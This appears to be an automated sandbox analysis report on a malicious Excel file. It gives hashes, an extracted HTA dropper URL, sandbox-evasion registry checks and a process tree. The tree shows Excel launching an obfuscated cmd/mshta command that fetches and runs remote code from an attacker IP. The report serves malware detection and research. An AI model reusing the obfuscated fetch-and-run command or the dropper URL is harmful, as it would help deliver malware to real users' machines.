a2f0339900b1bf244f4c9c36e619b0317fde876cd6597b51a37ae9d3bd544f3d

General

Target

a2f0339900b1bf244f4c9c36e619b0317fde876cd6597b51a37ae9d3bd544f3d.xls
Size

128KB
MD5

72d08e1daa18c52c17a0f5509f26b851
SHA1

28936bbd4c5043b3e271c5ef218256158e5f46d3
SHA256

a2f0339900b1bf244f4c9c36e619b0317fde876cd6597b51a37ae9d3bd544f3d
SHA512

09e5e26e588624e95805ea06efb1ac85295efab2ebea4ecd21ef1a8b9df1ad8b67f1c78389fa543dfcc87585e53467a0db19a9211b398a7890638dc50087f328
SSDEEP

3072:Wuk3hbdlylKsgqopeJBWhZFGkE+cL2NdAxEvN8B/W6X1yxYovrepMUdQ6gSz4i:Fk3hbdlylKsgqopeJBWhZFVE+W2NdAmv

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://185.7.214.7/cc.html

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3976	1948	cmd.exe	EXCEL.EXE

Blocklisted process makes network request 1 IoCs

Processes:

mshta.exe

flow pid process

15 4340 mshta.exe

flow	pid	process
15	4340	mshta.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1948 EXCEL.EXE

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE
1948	EXCEL.EXE

Suspicious use of WriteProcessMemory 4 IoCs

Processes:

EXCEL.EXEcmd.exe

description	pid	process	target process
PID 1948 wrote to memory of 3976	1948	EXCEL.EXE	cmd.exe
PID 1948 wrote to memory of 3976	1948	EXCEL.EXE	cmd.exe
PID 3976 wrote to memory of 4340	3976	cmd.exe	mshta.exe
PID 3976 wrote to memory of 4340	3976	cmd.exe	mshta.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\a2f0339900b1bf244f4c9c36e619b0317fde876cd6597b51a37ae9d3bd544f3d.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1948
- C:\Windows\SYSTEM32\cmd.exe
  cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l
  2⤵
  - Process spawned unexpected child process
  - Suspicious use of WriteProcessMemory
  PID:3976
- - C:\Windows\system32\mshta.exe
    mshta http://0xb907d607/cc.html
    3⤵
    - Blocklisted process makes network request
    PID:4340

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms

Filesize
1KB

MD5
e08047b8a60e0e8ec6ce8e287e30b03f

SHA1
5ff457fbfe61fe922f39fa6f9cdee8f15a6d6269

SHA256
9d2c05a8949b654b798bcc8755f60197304adb73da028349fd018ad455ff89d6

SHA512
1f433dcc09cde000aed8da06bacec61ae4c1f55a253662ba0076485631d96f7f2ee13c2ed5939b8cdb96d267463438660737ce19f2f13f7784f85e4bc144fe55

Download Submit
memory/1948-9-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-5-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

Filesize
64KB

Download
memory/1948-8-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-13-0x00007FFB1D110000-0x00007FFB1D120000-memory.dmp

Filesize
64KB

Download
memory/1948-12-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-7-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-6-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-11-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-10-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-0-0x00007FFB5F32D000-0x00007FFB5F32E000-memory.dmp

Filesize
4KB

Download
memory/1948-2-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

Filesize
64KB

Download
memory/1948-3-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

Filesize
64KB

Download
memory/1948-1-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

Filesize
64KB

Download
memory/1948-15-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-16-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-17-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-14-0x00007FFB1D110000-0x00007FFB1D120000-memory.dmp

Filesize
64KB

Download
memory/1948-28-0x00007FFB5F32D000-0x00007FFB5F32E000-memory.dmp

Filesize
4KB

Download
memory/1948-29-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-30-0x00007FFB5F290000-0x00007FFB5F485000-memory.dmp

Filesize
2.0MB

Download
memory/1948-4-0x00007FFB1F310000-0x00007FFB1F320000-memory.dmp

Filesize
64KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads